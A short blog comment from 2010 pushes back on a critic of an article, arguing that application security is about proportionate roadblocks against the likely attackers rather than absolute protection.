Hopefully you dump that holier than thou attitude and let people make their own choices for application security based on real concerns, not your perception on what is right and wrong. And are a little more careful before you call someone's well written article "flawed". Security is not about sleeping better at night with "true blankets" because arbitrary skill x hacker can't penetrate your application, but throwing up as many roadblocks as won't inconvenience legitimate users. And that totally depends on who you want to secure your site against.

Sat, 26 Jun 2010 at 17:15:02 GMT Link

Hello! What’s your name?

Want to comment? Please connect with Twitter to join the discussion.